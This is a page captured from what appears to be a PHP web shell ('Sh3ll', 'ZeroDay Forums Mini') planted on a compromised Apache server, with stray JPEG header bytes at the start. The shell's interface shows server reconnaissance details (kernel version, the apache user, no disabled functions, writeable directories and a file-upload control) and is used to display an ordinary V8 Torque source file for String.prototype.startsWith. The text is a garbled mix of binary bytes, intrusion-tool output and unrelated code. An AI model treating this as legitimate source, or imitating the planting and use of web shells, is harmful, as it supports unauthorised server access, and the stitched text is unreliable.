����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/v8/src/builtins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/v8/src/builtins/string-startswith.tq
// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include 'src/builtins/builtins-regexp-gen.h'

namespace string {
  extern macro RegExpBuiltinsAssembler::IsRegExp(implicit context:
                                                     Context)(Object): bool;

  // https://tc39.github.io/ecma262/#sec-string.prototype.startswith
  transitioning javascript builtin StringPrototypeStartsWith(
      js-implicit context: Context, receiver: JSAny)(...arguments): Boolean {
    const searchString: JSAny = arguments[0];
    const position: JSAny = arguments[1];
    const kBuiltinName: constexpr string = 'String.prototype.startsWith';

    // 1. Let O be ? RequireObjectCoercible(this value).
    const object: JSAny = RequireObjectCoercible(receiver, kBuiltinName);

    // 2. Let S be ? ToString(O).
    const string: String = ToString_Inline(context, object);

    // 3. Let isRegExp be ? IsRegExp(searchString).
    // 4. If isRegExp is true, throw a TypeError exception.
    if (IsRegExp(searchString)) {
      ThrowTypeError(kFirstArgumentNotRegExp, kBuiltinName);
    }

    // 5. Let searchStr be ? ToString(searchString).
    const searchStr: String = ToString_Inline(context, searchString);

    // 6. Let pos be ? ToInteger(position).
    const pos: Number = ToInteger_Inline(context, position);

    // 7. Assert: If position is undefined, then pos is 0.
    // 8. Let len be the length of S.
    const len: Number = string.length_smi;

    // 9. Let start be min(max(pos, 0), len).
    const start: Number = NumberMin(NumberMax(pos, 0), len);

    // 10. Let searchLength be the length of searchStr.
    const searchLength: Smi = searchStr.length_smi;

    // 11. If searchLength + start is greater than len, return false.
    if (searchLength + start > len) return False;

    // 12. If the sequence of code units of S starting at start of length
    // searchLength is the same as the full code unit sequence of searchStr,
    // return true.
    // 13. Otherwise, return false.
    try {
      // Fast Path: If both strings are direct and relevant indices are Smis.
      return TryFastStringCompareSequence(
          string, searchStr, start, searchLength) otherwise Slow;
    }
    label Slow {
      // Slow Path: If either of the string is indirect, bail into runtime.
      return StringCompareSequence(context, string, searchStr, start);
    }
  }
}

ZeroDay Forums Mini